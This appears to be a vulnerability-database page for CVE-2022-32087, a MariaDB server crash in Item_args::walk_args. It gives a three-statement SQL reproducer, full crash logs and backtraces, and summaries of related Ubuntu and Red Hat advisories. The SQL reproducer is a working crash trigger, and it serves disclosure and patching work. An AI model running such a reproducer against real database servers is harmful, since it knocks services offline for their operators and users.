Headline
CVE-2022-32087: [MDEV-26437] Server crashes in Item_args::walk_args
MariaDB v10.2 to v10.7 was discovered to contain a segmentation fault via the component Item_args::walk_args.
CREATE TABLE v0 ( v2 INT NOT NULL , v1 BIGINT AS ( CASE ‘x’ WHEN CURRENT_USER ( ) THEN v2 END ) ) ;
SELECT v2 AS v3 FROM v0 WHERE v1 LIKE ‘x’ ESCAPE ‘x’ ;
INSERT INTO v0 VALUES ( -128 , NULL , NULL , NULL , NULL , TO_DATE ( ‘x’ , ‘x’ ) ) ;
Server version: 10.7.0-MariaDB
key_buffer_size=134217728
read_buffer_size=131072
max_used_connections=1
max_threads=153
thread_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory
Hope that’s ok; if not, decrease some variables in the equation.
Thread pointer: 0x62b0000bd218
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong…
stack_bottom = 0x7f9fca453850 thread_stack 0x5fc00
sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7f9fe9cffc3e]
mysys/stacktrace.c:213(my_print_stacktrace)[0x556139072747]
sql/signal_handler.cc:222(handle_fatal_signal)[0x55613803a120]
sigaction.c:0(__restore_rt)[0x7f9fe96e9870]
:0(__GI_raise)[0x7f9fe91c8d22]
:0(__GI_abort)[0x7f9fe91b2862]
libsupc++/vterminate.cc:75(__gnu_cxx::__verbose_terminate_handler())[0x7f9fe9552802]
libsupc++/eh_terminate.cc:48(__cxxabiv1::__terminate(void (*)()))[0x7f9fe955ec8a]
??:0(std::terminate())[0x7f9fe955ecf7]
??:0(__cxa_pure_virtual)[0x7f9fe955fa75]
sql/item.cc:1121(Item::check_type_scalar(st_mysql_const_lex_string const&) const)[0x5561380a4308]
sql/item_func.cc:271(Item_func::check_argument_types_scalar(unsigned int, unsigned int) const)[0x5561381e2a5b]
sql/item_func.cc:357(Item_func::fix_fields(THD*, Item**))[0x5561381ce34e]
sql/item_cmpfunc.cc:3131(Item_func_case::fix_fields(THD*, Item**))[0x556138100700]
sql/table.cc:3590(fix_vcol_expr(THD*, Virtual_column_info*))[0x556137be6ee2]
sql/sql_base.cc:5429(TABLE::fix_vcol_exprs(THD*))[0x55613775e1ca]
sql/sql_base.cc:5467(lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned int))[0x55613775ef93]
sql/sql_base.cc:5261(open_and_lock_tables(THD*, DDL_options_st const&, TABLE_LIST*, bool, unsigned int, Prelocking_strategy*))[0x556137763800]
sql/sql_base.h:397(open_and_lock_tables(THD*, TABLE_LIST*, bool, unsigned int))[0x556137819ef4]
sql/sql_parse.cc:4565(mysql_execute_command(THD*, bool))[0x5561378d2bb8]
sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x5561378df5a1]
sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x5561378e560c]
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x5561378ea73d]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x556137ca5e57]
sql/sql_connect.cc:1312(handle_one_connection)[0x556137ca633d]
perfschema/pfs.cc:2204(pfs_spawn_thread)[0x556138736c2c]
pthread_create.c:0(start_thread)[0x7f9fe96df259]
:0(__GI___clone)[0x7f9fe928a5e3]
Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query (0x629000087238): INSERT INTO v0 VALUES ( -128 , NULL , NULL , NULL , NULL , TO_DATE ( ‘x’ , ‘x’ ) )
Connection ID (thread ID): 4
Status: NOT_KILLED
Optimizer switch: index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,index_merge_sort_intersection=off,engine_condition_pushdown=off,index_condition_pushdown=on,derived_merge=on,derived_with_keys=on,firstmatch=on,loosescan=on,materialization=on,in_to_exists=on,semijoin=on,partial_match_rowid_merge=on,partial_match_table_scan=on,subquery_cache=on,mrr=off,mrr_cost_based=off,mrr_sort_keys=off,outer_join_with_cache=on,semijoin_with_cache=on,join_cache_incremental=on,join_cache_hashed=on,join_cache_bka=on,optimize_join_buffer_size=on,table_elimination=on,extended_keys=on,exists_to_in=on,orderby_uses_equalities=on,condition_pushdown_for_derived=on,split_materialized=on,condition_pushdown_for_subquery=on,rowid_filter=on,condition_pushdown_from_having=on,not_null_range_scan=off
The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains
information that should help you find out what is causing the crash.
Writing a core file…
Working directory at /home/fuboat/mariadb-tmp/5
Resource Limits:
Limit Soft Limit Hard Limit Units
Max cpu time unlimited unlimited seconds
Max file size unlimited unlimited bytes
Max data size unlimited unlimited bytes
Max stack size 8388608 unlimited bytes
Max core file size unlimited unlimited bytes
Max resident set unlimited unlimited bytes
Max processes 61608 61608 processes
Max open files 524288 524288 files
Max locked memory 65536 65536 bytes
Max address space unlimited unlimited bytes
Max file locks unlimited unlimited locks
Max pending signals 61608 61608 signals
Max msgqueue size 819200 819200 bytes
Max nice priority 0 0
Max realtime priority 0 0
Max realtime timeout unlimited unlimited us
Core pattern: core
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Core was generated by `/usr/local/mysql/bin//mysqld --port 10005 --datadir=/home/fuboat/mariadb-tmp/5’.
Program terminated with signal SIGABRT, Aborted.
#0 0x00007f9fe96e6808 in pthread_kill () from /usr/lib/libpthread.so.0
#1 0x000055613803a06b in handle_fatal_signal (sig=<optimized out>) at /experiment/mariadb-server/sql/signal_handler.cc:344
#2 <signal handler called>
#3 0x00007f9fe91c8d22 in raise () from /usr/lib/libc.so.6
#4 0x00007f9fe91b2862 in abort () from /usr/lib/libc.so.6
#5 0x00007f9fe9552802 in __gnu_cxx::__verbose_terminate_handler () at /build/gcc/src/gcc/libstdc+±v3/libsupc++/vterminate.cc:95
#6 0x00007f9fe955ec8a in __cxxabiv1::__terminate (handler=<optimized out>) at /build/gcc/src/gcc/libstdc+±v3/libsupc++/eh_terminate.cc:48
#7 0x00007f9fe955ecf7 in std::terminate () at /build/gcc/src/gcc/libstdc+±v3/libsupc++/eh_terminate.cc:58
#8 0x00007f9fe955fa75 in __cxxabiv1::__cxa_pure_virtual () at /build/gcc/src/gcc/libstdc+±v3/libsupc++/pure.cc:50
#9 0x00005561380a4308 in Item::check_type_scalar (this=this@entry=0x629000089440, opname=…) at /experiment/mariadb-server/sql/item.cc:1121
#10 0x00005561381e2a5b in Item_func::check_argument_types_scalar (this=0x6190000a3ed8, start=<optimized out>, end=<optimized out>) at /experiment/mariadb-server/sql/item_func.cc:271
#11 0x00005561381ce34e in Item_func::fix_fields (this=this@entry=0x6190000a3ed8, thd=<optimized out>, ref=<optimized out>) at /experiment/mariadb-server/sql/item_func.cc:357
#12 0x0000556138100700 in Item_func_case::fix_fields (this=0x6190000a3ed8, thd=<optimized out>, ref=<optimized out>) at /experiment/mariadb-server/sql/item_cmpfunc.cc:3131
#13 0x0000556137be6ee2 in fix_vcol_expr (thd=<optimized out>, vcol=0x61d0000532b8) at /experiment/mariadb-server/sql/table.cc:3588
#14 0x000055613775e1ca in TABLE::fix_vcol_exprs (this=0x6190000a3298, thd=0x62b0000bd218) at /experiment/mariadb-server/sql/sql_base.cc:5429
#15 0x000055613775ef93 in fix_all_session_vcol_exprs (tables=0x6290000873b8, thd=0x62b0000bd218) at /experiment/mariadb-server/sql/sql_base.cc:5465
#16 lock_tables (thd=thd@entry=0x62b0000bd218, tables=0x6290000873b8, count=<optimized out>, flags=flags@entry=0) at /experiment/mariadb-server/sql/sql_base.cc:5649
#17 0x0000556137763800 in open_and_lock_tables (thd=thd@entry=0x62b0000bd218, options=…, tables=<optimized out>, tables@entry=0x6290000873b8, derived=derived@entry=true, flags=flags@entry=0, prelocking_strategy=prelocking_strategy@entry=0x7f9fca4512d0) at /experiment/mariadb-server/sql/sql_base.cc:5261
#18 0x0000556137819ef4 in open_and_lock_tables (flags=0, derived=true, tables=0x6290000873b8, thd=0x62b0000bd218) at /experiment/mariadb-server/sql/sql_base.h:509
#19 mysql_insert (thd=thd@entry=0x62b0000bd218, table_list=0x6290000873b8, fields=…, values_list=…, update_fields=…, update_values=…, duplic=<optimized out>, ignore=<optimized out>, result=<optimized out>) at /experiment/mariadb-server/sql/sql_insert.cc:757
#20 0x00005561378d2bb8 in mysql_execute_command (thd=0x62b0000bd218, is_called_from_prepared_stmt=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:4565
#21 0x00005561378df5a1 in mysql_parse (thd=0x62b0000bd218, rawbuf=<optimized out>, length=<optimized out>, parser_state=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:8030
#22 0x00005561378e560c in dispatch_command (command=<optimized out>, thd=0x62b0000bd218, packet=<optimized out>, packet_length=<optimized out>, blocking=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:1896
#23 0x00005561378ea73d in do_command (thd=0x62b0000bd218, blocking=blocking@entry=true) at /experiment/mariadb-server/sql/sql_parse.cc:1404
#24 0x0000556137ca5e57 in do_handle_one_connection (connect=<optimized out>, put_in_cache=<optimized out>) at /experiment/mariadb-server/sql/sql_connect.cc:1418
#25 0x0000556137ca633d in handle_one_connection (arg=arg@entry=0x6080000023b8) at /experiment/mariadb-server/sql/sql_connect.cc:1312
#26 0x0000556138736c2c in pfs_spawn_thread (arg=0x617000005f18) at /experiment/mariadb-server/storage/perfschema/pfs.cc:2201
#27 0x00007f9fe96df259 in start_thread () from /usr/lib/libpthread.so.0
#28 0x00007f9fe928a5e3 in clone () from /usr/lib/libc.so.6
Related news
Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.
Red Hat Security Advisory 2022-6443-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for the mariadb:10.3 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
Red Hat Security Advisory 2022-6306-01 - MariaDB is a multi-user, multi-threaded SQL database server. For all practical purposes, MariaDB is binary-compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for rh-mariadb103-galera and rh-mariadb103-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...